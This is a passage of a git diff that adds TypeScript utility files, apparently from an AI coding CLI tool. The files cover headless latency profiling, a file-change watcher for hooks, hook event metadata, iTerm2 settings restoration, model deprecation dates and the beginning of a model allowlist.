+// eslint-disable-next-line custom-rules/no-process-env-top-level
+const STATSIG_LOGGING_SAMPLED =
+  process.env.USER_TYPE === 'ant' || Math.random() < STATSIG_SAMPLE_RATE
+
+// Enable profiling if either detailed mode OR sampled for Statsig
+const SHOULD_PROFILE = DETAILED_PROFILING || STATSIG_LOGGING_SAMPLED
+
+// Use a unique prefix to avoid conflicts with other profiler marks
+const MARK_PREFIX = 'headless_'
+
+// Track current turn number (auto-incremented by headlessProfilerStartTurn)
+let currentTurnNumber = -1
+
+/**
+ * Clear all headless profiler marks from performance timeline
+ */
+function clearHeadlessMarks(): void {
+  const perf = getPerformance()
+  const allMarks = perf.getEntriesByType('mark')
+  for (const mark of allMarks) {
+    if (mark.name.startsWith(MARK_PREFIX)) {
+      perf.clearMarks(mark.name)
+    }
+  }
+}
+
+/**
+ * Start a new turn for profiling. Clears previous marks, increments turn number,
+ * and records turn_start. Call this at the beginning of each user message processing.
+ */
+export function headlessProfilerStartTurn(): void {
+  // Only profile in headless/non-interactive mode
+  if (!getIsNonInteractiveSession()) return
+  // Only profile if enabled
+  if (!SHOULD_PROFILE) return
+
+  currentTurnNumber++
+  clearHeadlessMarks()
+
+  const perf = getPerformance()
+  perf.mark(`${MARK_PREFIX}turn_start`)
+
+  if (DETAILED_PROFILING) {
+    logForDebugging(`[headlessProfiler] Started turn ${currentTurnNumber}`)
+  }
+}
+
+/**
+ * Record a checkpoint with the given name.
+ * Only records if in headless mode and profiling is enabled.
+ */
+export function headlessProfilerCheckpoint(name: string): void {
+  // Only profile in headless/non-interactive mode
+  if (!getIsNonInteractiveSession()) return
+  // Only profile if enabled
+  if (!SHOULD_PROFILE) return
+
+  const perf = getPerformance()
+  perf.mark(`${MARK_PREFIX}${name}`)
+
+  if (DETAILED_PROFILING) {
+    logForDebugging(
+      `[headlessProfiler] Checkpoint: ${name} at ${perf.now().toFixed(1)}ms`,
+    )
+  }
+}
+
+/**
+ * Log headless latency metrics for the current turn to Statsig.
+ * Call this at the end of each turn (before processing next user message).
+ */
+export function logHeadlessProfilerTurn(): void {
+  // Only log in headless mode
+  if (!getIsNonInteractiveSession()) return
+  // Only log if enabled
+  if (!SHOULD_PROFILE) return
+
+  const perf = getPerformance()
+  const allMarks = perf.getEntriesByType('mark')
+
+  // Filter to only our headless marks
+  const marks = allMarks.filter(mark => mark.name.startsWith(MARK_PREFIX))
+  if (marks.length === 0) return
+
+  // Build checkpoint lookup (strip prefix for easier access)
+  const checkpointTimes = new Map<string, number>()
+  for (const mark of marks) {
+    const name = mark.name.slice(MARK_PREFIX.length)
+    checkpointTimes.set(name, mark.startTime)
+  }
+
+  const turnStart = checkpointTimes.get('turn_start')
+  if (turnStart === undefined) return
+
+  // Compute phase durations relative to turn_start
+  const metadata: Record<string, number | string | undefined> = {
+    turn_number: currentTurnNumber,
+  }
+
+  // Time to system message from process start (only meaningful for turn 0)
+  // Use absolute time since perf_hooks startTime is relative to process start
+  const systemMessageTime = checkpointTimes.get('system_message_yielded')
+  if (systemMessageTime !== undefined && currentTurnNumber === 0) {
+    metadata.time_to_system_message_ms = Math.round(systemMessageTime)
+  }
+
+  // Time to query start
+  const queryStartTime = checkpointTimes.get('query_started')
+  if (queryStartTime !== undefined) {
+    metadata.time_to_query_start_ms = Math.round(queryStartTime - turnStart)
+  }
+
+  // Time to first response (first chunk from API)
+  const firstChunkTime = checkpointTimes.get('first_chunk')
+  if (firstChunkTime !== undefined) {
+    metadata.time_to_first_response_ms = Math.round(firstChunkTime - turnStart)
+  }
+
+  // Query overhead (time between query start and API request sent)
+  const apiRequestTime = checkpointTimes.get('api_request_sent')
+  if (queryStartTime !== undefined && apiRequestTime !== undefined) {
+    metadata.query_overhead_ms = Math.round(apiRequestTime - queryStartTime)
+  }
+
+  // Add checkpoint count for debugging
+  metadata.checkpoint_count = marks.length
+
+  // Add entrypoint for segmentation (sdk-ts, sdk-py, sdk-cli, or undefined)
+  if (process.env.CLAUDE_CODE_ENTRYPOINT) {
+    metadata.entrypoint = process.env.CLAUDE_CODE_ENTRYPOINT
+  }
+
+  // Log to Statsig if sampled
+  if (STATSIG_LOGGING_SAMPLED) {
+    logEvent(
+      'tengu_headless_latency',
+      metadata as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    )
+  }
+
+  // Log detailed output if CLAUDE_CODE_PROFILE_STARTUP=1
+  if (DETAILED_PROFILING) {
+    logForDebugging(
+      `[headlessProfiler] Turn ${currentTurnNumber} metrics: ${jsonStringify(metadata)}`,
+    )
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/hooks/fileChangedWatcher.ts b/_all-in-one-upload/cc-haha/src/utils/hooks/fileChangedWatcher.ts
new file mode 100644
index 0000000..3d5f771
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/hooks/fileChangedWatcher.ts
@@ -0,0 +1,191 @@
+import chokidar, { type FSWatcher } from 'chokidar'
+import { isAbsolute, join } from 'path'
+import { registerCleanup } from '../cleanupRegistry.js'
+import { logForDebugging } from '../debug.js'
+import { errorMessage } from '../errors.js'
+import {
+  executeCwdChangedHooks,
+  executeFileChangedHooks,
+  type HookOutsideReplResult,
+} from '../hooks.js'
+import { clearCwdEnvFiles } from '../sessionEnvironment.js'
+import { getHooksConfigFromSnapshot } from './hooksConfigSnapshot.js'
+
+let watcher: FSWatcher | null = null
+let currentCwd: string
+let dynamicWatchPaths: string[] = []
+let dynamicWatchPathsSorted: string[] = []
+let initialized = false
+let hasEnvHooks = false
+let notifyCallback: ((text: string, isError: boolean) => void) | null = null
+
+export function setEnvHookNotifier(
+  cb: ((text: string, isError: boolean) => void) | null,
+): void {
+  notifyCallback = cb
+}
+
+export function initializeFileChangedWatcher(cwd: string): void {
+  if (initialized) return
+  initialized = true
+  currentCwd = cwd
+
+  const config = getHooksConfigFromSnapshot()
+  hasEnvHooks =
+    (config?.CwdChanged?.length ?? 0) > 0 ||
+    (config?.FileChanged?.length ?? 0) > 0
+
+  if (hasEnvHooks) {
+    registerCleanup(async () => dispose())
+  }
+
+  const paths = resolveWatchPaths(config)
+  if (paths.length === 0) return
+
+  startWatching(paths)
+}
+
+function resolveWatchPaths(
+  config?: ReturnType<typeof getHooksConfigFromSnapshot>,
+): string[] {
+  const matchers = (config ?? getHooksConfigFromSnapshot())?.FileChanged ?? []
+
+  // Matcher field: filenames to watch in cwd, pipe-separated (e.g. ".envrc|.env")
+  const staticPaths: string[] = []
+  for (const m of matchers) {
+    if (!m.matcher) continue
+    for (const name of m.matcher.split('|').map(s => s.trim())) {
+      if (!name) continue
+      staticPaths.push(isAbsolute(name) ? name : join(currentCwd, name))
+    }
+  }
+
+  // Combine static matcher paths with dynamic paths from hook output
+  return [...new Set([...staticPaths, ...dynamicWatchPaths])]
+}
+
+function startWatching(paths: string[]): void {
+  logForDebugging(`FileChanged: watching ${paths.length} paths`)
+  watcher = chokidar.watch(paths, {
+    persistent: true,
+    ignoreInitial: true,
+    awaitWriteFinish: { stabilityThreshold: 500, pollInterval: 200 },
+    ignorePermissionErrors: true,
+  })
+  watcher.on('change', p => handleFileEvent(p, 'change'))
+  watcher.on('add', p => handleFileEvent(p, 'add'))
+  watcher.on('unlink', p => handleFileEvent(p, 'unlink'))
+}
+
+function handleFileEvent(
+  path: string,
+  event: 'change' | 'add' | 'unlink',
+): void {
+  logForDebugging(`FileChanged: ${event} ${path}`)
+  void executeFileChangedHooks(path, event)
+    .then(({ results, watchPaths, systemMessages }) => {
+      if (watchPaths.length > 0) {
+        updateWatchPaths(watchPaths)
+      }
+      for (const msg of systemMessages) {
+        notifyCallback?.(msg, false)
+      }
+      for (const r of results) {
+        if (!r.succeeded && r.output) {
+          notifyCallback?.(r.output, true)
+        }
+      }
+    })
+    .catch(e => {
+      const msg = errorMessage(e)
+      logForDebugging(`FileChanged hook failed: ${msg}`, {
+        level: 'error',
+      })
+      notifyCallback?.(msg, true)
+    })
+}
+
+export function updateWatchPaths(paths: string[]): void {
+  if (!initialized) return
+  const sorted = paths.slice().sort()
+  if (
+    sorted.length === dynamicWatchPathsSorted.length &&
+    sorted.every((p, i) => p === dynamicWatchPathsSorted[i])
+  ) {
+    return
+  }
+  dynamicWatchPaths = paths
+  dynamicWatchPathsSorted = sorted
+  restartWatching()
+}
+
+function restartWatching(): void {
+  if (watcher) {
+    void watcher.close()
+    watcher = null
+  }
+  const paths = resolveWatchPaths()
+  if (paths.length > 0) {
+    startWatching(paths)
+  }
+}
+
+export async function onCwdChangedForHooks(
+  oldCwd: string,
+  newCwd: string,
+): Promise<void> {
+  if (oldCwd === newCwd) return
+
+  // Re-evaluate from the current snapshot so mid-session hook changes are picked up
+  const config = getHooksConfigFromSnapshot()
+  const currentHasEnvHooks =
+    (config?.CwdChanged?.length ?? 0) > 0 ||
+    (config?.FileChanged?.length ?? 0) > 0
+  if (!currentHasEnvHooks) return
+  currentCwd = newCwd
+
+  await clearCwdEnvFiles()
+  const hookResult = await executeCwdChangedHooks(oldCwd, newCwd).catch(e => {
+    const msg = errorMessage(e)
+    logForDebugging(`CwdChanged hook failed: ${msg}`, {
+      level: 'error',
+    })
+    notifyCallback?.(msg, true)
+    return {
+      results: [] as HookOutsideReplResult[],
+      watchPaths: [] as string[],
+      systemMessages: [] as string[],
+    }
+  })
+  dynamicWatchPaths = hookResult.watchPaths
+  dynamicWatchPathsSorted = hookResult.watchPaths.slice().sort()
+  for (const msg of hookResult.systemMessages) {
+    notifyCallback?.(msg, false)
+  }
+  for (const r of hookResult.results) {
+    if (!r.succeeded && r.output) {
+      notifyCallback?.(r.output, true)
+    }
+  }
+
+  // Re-resolve matcher paths against the new cwd
+  if (initialized) {
+    restartWatching()
+  }
+}
+
+function dispose(): void {
+  if (watcher) {
+    void watcher.close()
+    watcher = null
+  }
+  dynamicWatchPaths = []
+  dynamicWatchPathsSorted = []
+  initialized = false
+  hasEnvHooks = false
+  notifyCallback = null
+}
+
+export function resetFileChangedWatcherForTesting(): void {
+  dispose()
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/hooks/hooksConfigManager.ts b/_all-in-one-upload/cc-haha/src/utils/hooks/hooksConfigManager.ts
new file mode 100644
index 0000000..c7c5a0d
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/hooks/hooksConfigManager.ts
@@ -0,0 +1,400 @@
+import memoize from 'lodash-es/memoize.js'
+import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js'
+import { getRegisteredHooks } from '../../bootstrap/state.js'
+import type { AppState } from '../../state/AppState.js'
+import {
+  getAllHooks,
+  type IndividualHookConfig,
+  sortMatchersByPriority,
+} from './hooksSettings.js'
+
+export type MatcherMetadata = {
+  fieldToMatch: string
+  values: string[]
+}
+
+export type HookEventMetadata = {
+  summary: string
+  description: string
+  matcherMetadata?: MatcherMetadata
+}
+
+// Hook event metadata configuration.
+// Resolver uses sorted-joined string key so that callers passing a fresh
+// toolNames array each render (e.g. HooksConfigMenu) hit the cache instead
+// of leaking a new entry per call.
+export const getHookEventMetadata = memoize(
+  function (toolNames: string[]): Record<HookEvent, HookEventMetadata> {
+    return {
+      PreToolUse: {
+        summary: 'Before tool execution',
+        description:
+          'Input to command is JSON of tool call arguments.\nExit code 0 - stdout/stderr not shown\nExit code 2 - show stderr to model and block tool call\nOther exit codes - show stderr to user only but continue with tool call',
+        matcherMetadata: {
+          fieldToMatch: 'tool_name',
+          values: toolNames,
+        },
+      },
+      PostToolUse: {
+        summary: 'After tool execution',
+        description:
+          'Input to command is JSON with fields "inputs" (tool call arguments) and "response" (tool call response).\nExit code 0 - stdout shown in transcript mode (ctrl+o)\nExit code 2 - show stderr to model immediately\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'tool_name',
+          values: toolNames,
+        },
+      },
+      PostToolUseFailure: {
+        summary: 'After tool execution fails',
+        description:
+          'Input to command is JSON with tool_name, tool_input, tool_use_id, error, error_type, is_interrupt, and is_timeout.\nExit code 0 - stdout shown in transcript mode (ctrl+o)\nExit code 2 - show stderr to model immediately\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'tool_name',
+          values: toolNames,
+        },
+      },
+      PermissionDenied: {
+        summary: 'After auto mode classifier denies a tool call',
+        description:
+          'Input to command is JSON with tool_name, tool_input, tool_use_id, and reason.\nReturn {"hookSpecificOutput":{"hookEventName":"PermissionDenied","retry":true}} to tell the model it may retry.\nExit code 0 - stdout shown in transcript mode (ctrl+o)\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'tool_name',
+          values: toolNames,
+        },
+      },
+      Notification: {
+        summary: 'When notifications are sent',
+        description:
+          'Input to command is JSON with notification message and type.\nExit code 0 - stdout/stderr not shown\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'notification_type',
+          values: [
+            'permission_prompt',
+            'idle_prompt',
+            'auth_success',
+            'elicitation_dialog',
+            'elicitation_complete',
+            'elicitation_response',
+          ],
+        },
+      },
+      UserPromptSubmit: {
+        summary: 'When the user submits a prompt',
+        description:
+          'Input to command is JSON with original user prompt text.\nExit code 0 - stdout shown to Claude\nExit code 2 - block processing, erase original prompt, and show stderr to user only\nOther exit codes - show stderr to user only',
+      },
+      SessionStart: {
+        summary: 'When a new session is started',
+        description:
+          'Input to command is JSON with session start source.\nExit code 0 - stdout shown to Claude\nBlocking errors are ignored\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'source',
+          values: ['startup', 'resume', 'clear', 'compact'],
+        },
+      },
+      Stop: {
+        summary: 'Right before Claude concludes its response',
+        description:
+          'Exit code 0 - stdout/stderr not shown\nExit code 2 - show stderr to model and continue conversation\nOther exit codes - show stderr to user only',
+      },
+      StopFailure: {
+        summary: 'When the turn ends due to an API error',
+        description:
+          'Fires instead of Stop when an API error (rate limit, auth failure, etc.) ended the turn. Fire-and-forget — hook output and exit codes are ignored.',
+        matcherMetadata: {
+          fieldToMatch: 'error',
+          values: [
+            'rate_limit',
+            'authentication_failed',
+            'billing_error',
+            'invalid_request',
+            'server_error',
+            'max_output_tokens',
+            'unknown',
+          ],
+        },
+      },
+      SubagentStart: {
+        summary: 'When a subagent (Agent tool call) is started',
+        description:
+          'Input to command is JSON with agent_id and agent_type.\nExit code 0 - stdout shown to subagent\nBlocking errors are ignored\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'agent_type',
+          values: [], // Will be populated with available agent types
+        },
+      },
+      SubagentStop: {
+        summary:
+          'Right before a subagent (Agent tool call) concludes its response',
+        description:
+          'Input to command is JSON with agent_id, agent_type, and agent_transcript_path.\nExit code 0 - stdout/stderr not shown\nExit code 2 - show stderr to subagent and continue having it run\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'agent_type',
+          values: [], // Will be populated with available agent types
+        },
+      },
+      PreCompact: {
+        summary: 'Before conversation compaction',
+        description:
+          'Input to command is JSON with compaction details.\nExit code 0 - stdout appended as custom compact instructions\nExit code 2 - block compaction\nOther exit codes - show stderr to user only but continue with compaction',
+        matcherMetadata: {
+          fieldToMatch: 'trigger',
+          values: ['manual', 'auto'],
+        },
+      },
+      PostCompact: {
+        summary: 'After conversation compaction',
+        description:
+          'Input to command is JSON with compaction details and the summary.\nExit code 0 - stdout shown to user\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'trigger',
+          values: ['manual', 'auto'],
+        },
+      },
+      SessionEnd: {
+        summary: 'When a session is ending',
+        description:
+          'Input to command is JSON with session end reason.\nExit code 0 - command completes successfully\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'reason',
+          values: ['clear', 'logout', 'prompt_input_exit', 'other'],
+        },
+      },
+      PermissionRequest: {
+        summary: 'When a permission dialog is displayed',
+        description:
+          'Input to command is JSON with tool_name, tool_input, and tool_use_id.\nOutput JSON with hookSpecificOutput containing decision to allow or deny.\nExit code 0 - use hook decision if provided\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'tool_name',
+          values: toolNames,
+        },
+      },
+      Setup: {
+        summary: 'Repo setup hooks for init and maintenance',
+        description:
+          'Input to command is JSON with trigger (init or maintenance).\nExit code 0 - stdout shown to Claude\nBlocking errors are ignored\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'trigger',
+          values: ['init', 'maintenance'],
+        },
+      },
+      TeammateIdle: {
+        summary: 'When a teammate is about to go idle',
+        description:
+          'Input to command is JSON with teammate_name and team_name.\nExit code 0 - stdout/stderr not shown\nExit code 2 - show stderr to teammate and prevent idle (teammate continues working)\nOther exit codes - show stderr to user only',
+      },
+      TaskCreated: {
+        summary: 'When a task is being created',
+        description:
+          'Input to command is JSON with task_id, task_subject, task_description, teammate_name, and team_name.\nExit code 0 - stdout/stderr not shown\nExit code 2 - show stderr to model and prevent task creation\nOther exit codes - show stderr to user only',
+      },
+      TaskCompleted: {
+        summary: 'When a task is being marked as completed',
+        description:
+          'Input to command is JSON with task_id, task_subject, task_description, teammate_name, and team_name.\nExit code 0 - stdout/stderr not shown\nExit code 2 - show stderr to model and prevent task completion\nOther exit codes - show stderr to user only',
+      },
+      Elicitation: {
+        summary: 'When an MCP server requests user input (elicitation)',
+        description:
+          'Input to command is JSON with mcp_server_name, message, and requested_schema.\nOutput JSON with hookSpecificOutput containing action (accept/decline/cancel) and optional content.\nExit code 0 - use hook response if provided\nExit code 2 - deny the elicitation\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'mcp_server_name',
+          values: [],
+        },
+      },
+      ElicitationResult: {
+        summary: 'After a user responds to an MCP elicitation',
+        description:
+          'Input to command is JSON with mcp_server_name, action, content, mode, and elicitation_id.\nOutput JSON with hookSpecificOutput containing optional action and content to override the response.\nExit code 0 - use hook response if provided\nExit code 2 - block the response (action becomes decline)\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'mcp_server_name',
+          values: [],
+        },
+      },
+      ConfigChange: {
+        summary: 'When configuration files change during a session',
+        description:
+          'Input to command is JSON with source (user_settings, project_settings, local_settings, policy_settings, skills) and file_path.\nExit code 0 - allow the change\nExit code 2 - block the change from being applied to the session\nOther exit codes - show stderr to user only',
+        matcherMetadata: {
+          fieldToMatch: 'source',
+          values: [
+            'user_settings',
+            'project_settings',
+            'local_settings',
+            'policy_settings',
+            'skills',
+          ],
+        },
+      },
+      InstructionsLoaded: {
+        summary: 'When an instruction file (CLAUDE.md or rule) is loaded',
+        description:
+          'Input to command is JSON with file_path, memory_type (User, Project, Local, Managed), load_reason (session_start, nested_traversal, path_glob_match, include, compact), globs (optional — the paths: frontmatter patterns that matched), trigger_file_path (optional — the file Claude touched that caused the load), and parent_file_path (optional — the file that @-included this one).\nExit code 0 - command completes successfully\nOther exit codes - show stderr to user only\nThis hook is observability-only and does not support blocking.',
+        matcherMetadata: {
+          fieldToMatch: 'load_reason',
+          values: [
+            'session_start',
+            'nested_traversal',
+            'path_glob_match',
+            'include',
+            'compact',
+          ],
+        },
+      },
+      WorktreeCreate: {
+        summary: 'Create an isolated worktree for VCS-agnostic isolation',
+        description:
+          'Input to command is JSON with name (suggested worktree slug).\nStdout should contain the absolute path to the created worktree directory.\nExit code 0 - worktree created successfully\nOther exit codes - worktree creation failed',
+      },
+      WorktreeRemove: {
+        summary: 'Remove a previously created worktree',
+        description:
+          'Input to command is JSON with worktree_path (absolute path to worktree).\nExit code 0 - worktree removed successfully\nOther exit codes - show stderr to user only',
+      },
+      CwdChanged: {
+        summary: 'After the working directory changes',
+        description:
+          'Input to command is JSON with old_cwd and new_cwd.\nCLAUDE_ENV_FILE is set — write bash exports there to apply env to subsequent BashTool commands.\nHook output can include hookSpecificOutput.watchPaths (array of absolute paths) to register with the FileChanged watcher.\nExit code 0 - command completes successfully\nOther exit codes - show stderr to user only',
+      },
+      FileChanged: {
+        summary: 'When a watched file changes',
+        description:
+          'Input to command is JSON with file_path and event (change, add, unlink).\nCLAUDE_ENV_FILE is set — write bash exports there to apply env to subsequent BashTool commands.\nThe matcher field specifies filenames to watch in the current directory (e.g. ".envrc|.env").\nHook output can include hookSpecificOutput.watchPaths (array of absolute paths) to dynamically update the watch list.\nExit code 0 - command completes successfully\nOther exit codes - show stderr to user only',
+      },
+    }
+  },
+  toolNames => toolNames.slice().sort().join(','),
+)
+
+// Group hooks by event and matcher
+export function groupHooksByEventAndMatcher(
+  appState: AppState,
+  toolNames: string[],
+): Record<HookEvent, Record<string, IndividualHookConfig[]>> {
+  const grouped: Record<HookEvent, Record<string, IndividualHookConfig[]>> = {
+    PreToolUse: {},
+    PostToolUse: {},
+    PostToolUseFailure: {},
+    PermissionDenied: {},
+    Notification: {},
+    UserPromptSubmit: {},
+    SessionStart: {},
+    SessionEnd: {},
+    Stop: {},
+    StopFailure: {},
+    SubagentStart: {},
+    SubagentStop: {},
+    PreCompact: {},
+    PostCompact: {},
+    PermissionRequest: {},
+    Setup: {},
+    TeammateIdle: {},
+    TaskCreated: {},
+    TaskCompleted: {},
+    Elicitation: {},
+    ElicitationResult: {},
+    ConfigChange: {},
+    WorktreeCreate: {},
+    WorktreeRemove: {},
+    InstructionsLoaded: {},
+    CwdChanged: {},
+    FileChanged: {},
+  }
+
+  const metadata = getHookEventMetadata(toolNames)
+
+  // Include hooks from settings files
+  getAllHooks(appState).forEach(hook => {
+    const eventGroup = grouped[hook.event]
+    if (eventGroup) {
+      // For events without matchers, use empty string as key
+      const matcherKey =
+        metadata[hook.event].matcherMetadata !== undefined
+          ? hook.matcher || ''
+          : ''
+      if (!eventGroup[matcherKey]) {
+        eventGroup[matcherKey] = []
+      }
+      eventGroup[matcherKey].push(hook)
+    }
+  })
+
+  // Include registered hooks (e.g., plugin hooks)
+  const registeredHooks = getRegisteredHooks()
+  if (registeredHooks) {
+    for (const [event, matchers] of Object.entries(registeredHooks)) {
+      const hookEvent = event as HookEvent
+      const eventGroup = grouped[hookEvent]
+      if (!eventGroup) continue
+
+      for (const matcher of matchers) {
+        const matcherKey = matcher.matcher || ''
+
+        // Only PluginHookMatcher has pluginRoot; HookCallbackMatcher (internal
+        // callbacks like attributionHooks, sessionFileAccessHooks) does not.
+        if ('pluginRoot' in matcher) {
+          eventGroup[matcherKey] ??= []
+          for (const hook of matcher.hooks) {
+            eventGroup[matcherKey].push({
+              event: hookEvent,
+              config: hook,
+              matcher: matcher.matcher,
+              source: 'pluginHook',
+              pluginName: matcher.pluginId,
+            })
+          }
+        } else if (process.env.USER_TYPE === 'ant') {
+          eventGroup[matcherKey] ??= []
+          for (const _hook of matcher.hooks) {
+            eventGroup[matcherKey].push({
+              event: hookEvent,
+              config: {
+                type: 'command',
+                command: '[ANT-ONLY] Built-in Hook',
+              },
+              matcher: matcher.matcher,
+              source: 'builtinHook',
+            })
+          }
+        }
+      }
+    }
+  }
+
+  return grouped
+}
+
+// Get sorted matchers for a specific event
+export function getSortedMatchersForEvent(
+  hooksByEventAndMatcher: Record<
+    HookEvent,
+    Record<string, IndividualHookConfig[]>
+  >,
+  event: HookEvent,
+): string[] {
+  const matchers = Object.keys(hooksByEventAndMatcher[event] || {})
+  return sortMatchersByPriority(matchers, hooksByEventAndMatcher, event)
+}
+
+// Get hooks for a specific event and matcher
+export function getHooksForMatcher(
+  hooksByEventAndMatcher: Record<
+    HookEvent,
+    Record<string, IndividualHookConfig[]>
+  >,
+  event: HookEvent,
+  matcher: string | null,
+): IndividualHookConfig[] {
+  // For events without matchers, hooks are stored with empty string as key
+  // because the record keys must be strings.
+  const matcherKey = matcher ?? ''
+  return hooksByEventAndMatcher[event]?.[matcherKey] ?? []
+}
+
+// Get metadata for a specific event's matcher
+export function getMatcherMetadata(
+  event: HookEvent,
+  toolNames: string[],
+): MatcherMetadata | undefined {
+  return getHookEventMetadata(toolNames)[event].matcherMetadata
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/iTermBackup.ts b/_all-in-one-upload/cc-haha/src/utils/iTermBackup.ts
new file mode 100644
index 0000000..10c6bbf
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/iTermBackup.ts
@@ -0,0 +1,73 @@
+import { copyFile, stat } from 'fs/promises'
+import { homedir } from 'os'
+import { join } from 'path'
+import { getGlobalConfig, saveGlobalConfig } from './config.js'
+import { logError } from './log.js'
+
+export function markITerm2SetupComplete(): void {
+  saveGlobalConfig(current => ({
+    ...current,
+    iterm2SetupInProgress: false,
+  }))
+}
+
+function getIterm2RecoveryInfo(): {
+  inProgress: boolean
+  backupPath: string | null
+} {
+  const config = getGlobalConfig()
+  return {
+    inProgress: config.iterm2SetupInProgress ?? false,
+    backupPath: config.iterm2BackupPath || null,
+  }
+}
+
+function getITerm2PlistPath(): string {
+  return join(
+    homedir(),
+    'Library',
+    'Preferences',
+    'com.googlecode.iterm2.plist',
+  )
+}
+
+type RestoreResult =
+  | {
+      status: 'restored' | 'no_backup'
+    }
+  | {
+      status: 'failed'
+      backupPath: string
+    }
+
+export async function checkAndRestoreITerm2Backup(): Promise<RestoreResult> {
+  const { inProgress, backupPath } = getIterm2RecoveryInfo()
+  if (!inProgress) {
+    return { status: 'no_backup' }
+  }
+
+  if (!backupPath) {
+    markITerm2SetupComplete()
+    return { status: 'no_backup' }
+  }
+
+  try {
+    await stat(backupPath)
+  } catch {
+    markITerm2SetupComplete()
+    return { status: 'no_backup' }
+  }
+
+  try {
+    await copyFile(backupPath, getITerm2PlistPath())
+
+    markITerm2SetupComplete()
+    return { status: 'restored' }
+  } catch (restoreError) {
+    logError(
+      new Error(`Failed to restore iTerm2 settings with: ${restoreError}`),
+    )
+    markITerm2SetupComplete()
+    return { status: 'failed', backupPath }
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/model/deprecation.ts b/_all-in-one-upload/cc-haha/src/utils/model/deprecation.ts
new file mode 100644
index 0000000..a8b0ee2
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/model/deprecation.ts
@@ -0,0 +1,101 @@
+/**
+ * Model deprecation utilities
+ *
+ * Contains information about deprecated models and their retirement dates.
+ */
+
+import { type APIProvider, getAPIProvider } from './providers.js'
+
+type DeprecatedModelInfo = {
+  isDeprecated: true
+  modelName: string
+  retirementDate: string
+}
+
+type NotDeprecatedInfo = {
+  isDeprecated: false
+}
+
+type DeprecationInfo = DeprecatedModelInfo | NotDeprecatedInfo
+
+type DeprecationEntry = {
+  /** Human-readable model name */
+  modelName: string
+  /** Retirement dates by provider (null = not deprecated for that provider) */
+  retirementDates: Record<APIProvider, string | null>
+}
+
+/**
+ * Deprecated models and their retirement dates by provider.
+ * Keys are substrings to match in model IDs (case-insensitive).
+ * To add a new deprecated model, add an entry to this object.
+ */
+const DEPRECATED_MODELS: Record<string, DeprecationEntry> = {
+  'claude-3-opus': {
+    modelName: 'Claude 3 Opus',
+    retirementDates: {
+      firstParty: 'January 5, 2026',
+      bedrock: 'January 15, 2026',
+      vertex: 'January 5, 2026',
+      foundry: 'January 5, 2026',
+    },
+  },
+  'claude-3-7-sonnet': {
+    modelName: 'Claude 3.7 Sonnet',
+    retirementDates: {
+      firstParty: 'February 19, 2026',
+      bedrock: 'April 28, 2026',
+      vertex: 'May 11, 2026',
+      foundry: 'February 19, 2026',
+    },
+  },
+  'claude-3-5-haiku': {
+    modelName: 'Claude 3.5 Haiku',
+    retirementDates: {
+      firstParty: 'February 19, 2026',
+      bedrock: null,
+      vertex: null,
+      foundry: null,
+    },
+  },
+}
+
+/**
+ * Check if a model is deprecated and get its deprecation info
+ */
+function getDeprecatedModelInfo(modelId: string): DeprecationInfo {
+  const lowercaseModelId = modelId.toLowerCase()
+  const provider = getAPIProvider()
+
+  for (const [key, value] of Object.entries(DEPRECATED_MODELS)) {
+    const retirementDate = value.retirementDates[provider]
+    if (!lowercaseModelId.includes(key) || !retirementDate) {
+      continue
+    }
+    return {
+      isDeprecated: true,
+      modelName: value.modelName,
+      retirementDate,
+    }
+  }
+
+  return { isDeprecated: false }
+}
+
+/**
+ * Get a deprecation warning message for a model, or null if not deprecated
+ */
+export function getModelDeprecationWarning(
+  modelId: string | null,
+): string | null {
+  if (!modelId) {
+    return null
+  }
+
+  const info = getDeprecatedModelInfo(modelId)
+  if (!info.isDeprecated) {
+    return null
+  }
+
+  return `⚠ ${info.modelName} will be retired on ${info.retirementDate}. Consider switching to a newer model.`
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/model/modelAllowlist.ts b/_all-in-one-upload/cc-haha/src/utils/model/modelAllowlist.ts
new file mode 100644
index 0000000..b3f8647
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/model/modelAllowlist.ts
@@ -0,0 +1,170 @@
+import { getSettings_DEPRECATED } from '../settings/settings.js'
+import { isModelAlias, isModelFamilyAlias } from './aliases.js'
+import { parseUserSpecifiedModel } from './model.js'
+import { resolveOverriddenModel } from './modelStrings.js'
+
+/**
+ * Check if a model belongs to a given family by checking if its name
+ * (or resolved name) contains the family identifier.
+ */
+function modelBelongsToFamily(model: string, family: string): boolean {
+  if (model.includes(family)) {
+    return true
+  }
+  // Resolve aliases like "best" → "claude-opus-4-7" to check family membership
+  if (isModelAlias(model)) {
+    const resolved = parseUserSpecifiedModel(model).toLowerCase()
+    return resolved.includes(family)
+  }
+  return false
+}
+
+/**
+ * Check if a model name starts with a prefix at a segment boundary.
+ * The prefix must match up to the end of the name or a "-" separator.
+ * e.g. "claude-opus-4-5" matches "claude-opus-4-5-20251101" but not "claude-opus-4-50".
+ */
+function prefixMatchesModel(modelName: string, prefix: string): boolean {
+  if (!modelName.startsWith(prefix)) {
